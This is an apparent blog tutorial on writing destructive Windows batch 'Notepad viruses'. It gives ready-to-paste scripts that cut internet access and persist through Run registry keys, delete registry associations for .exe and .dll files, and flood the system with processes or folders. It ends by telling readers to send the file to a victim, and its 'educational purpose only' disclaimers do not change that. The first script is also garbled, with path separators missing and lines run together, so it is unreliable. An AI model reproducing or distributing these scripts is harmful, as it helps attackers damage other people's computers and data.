As you all know that Virus is nothing but a malicious program which enters into a system without permission and affects the data and the working of the operating system. Viruses do unwanted tasks like replicating itself corrupting user files etc, so, basically, we are going to create some unwanted scripts,
that which we can execute in order to destroy or break the system.
Create Notepad Virus Executable(.exe) Using Batch Scripting
First of all, what is batch scripting, those who don’t know, take a look below:
“It is simply a text file, containing series of commands, which are executed automatically, line by line when the batch file runs.”
By using Batch File you can create an extremely dangerous virus which can delete the Windows files, format different drives [C:\, E:\], steal data files and information, disable antivirus, firewall, etc.
NOTE:
This is for education purpose only,
try it on your own risk
I am not responsible for any kind of damage caused by this tutorial.
Write a dangerous virus in Notepad/Text Editor
Are you ready to create your first DIY Notepad virus, Let’s get started to rock,
First of all, you need a Windows PC, obviously.
For this tutorial to create simple Notepad Virus you don’t need to be a die-hard programmer or something like that, but a basic knowledge of flow charts and loops helps you a lot to understand what’s going on here. So let’s start to create a trojan virus using
notepad to run via command prompt(cmd) in Windows 10, 8/8.1, 7 or XP.
Now, Open the Notepad application and Copy (Ctrl+C) and Paste (Ctrl+V) the codes given below one by one for the different virus in a different file.
Notepad Virus source codes are Given below:
1. Disable Internet Permanently
This code will disable the internet connectivity permanently.
echo @echo off>c:windowswimn32.bat
echo break off>c:windowswimn32.bat echo
ipconfig/release_all>c:windowswimn32.bat
echo end>c:windowswimn32.batreg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add
hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been HACKED! PAUSE
2. Delete Key Registry Files
This will delete key registry files, then loops a message
This is dangerous and unrecoverable Notepad Virus.
@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your PC has been crashed.Your Dad.
GOTO MESSAGE
3. Endless Notepads
This will pop up endless notepads until the computer freezes and crashes
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
4. Application Bomber
It will start to open different applications repeatedly which will affect system’s performance.
You can also add the application of your choice in above code.
@echo off
:x
start winword
start mspaint
start notepad
start write
start cmd
start explorer
start control
start calc
goto x
5.Folder Flooder
This will create unlimited no. of folders.
@echo off
:x
md %random%
/folder.
goto x
After copy-pasting any one of the viruses at a time in the Notepad, save the file in ALL FILES mode with an extension “.bat“
DONE: You have successfully created a Notepad Virus. That’s it, now you’re done doing your work now just you have to send the file to the victim.
FOR EDUCATIONAL PURPOSE ONLY.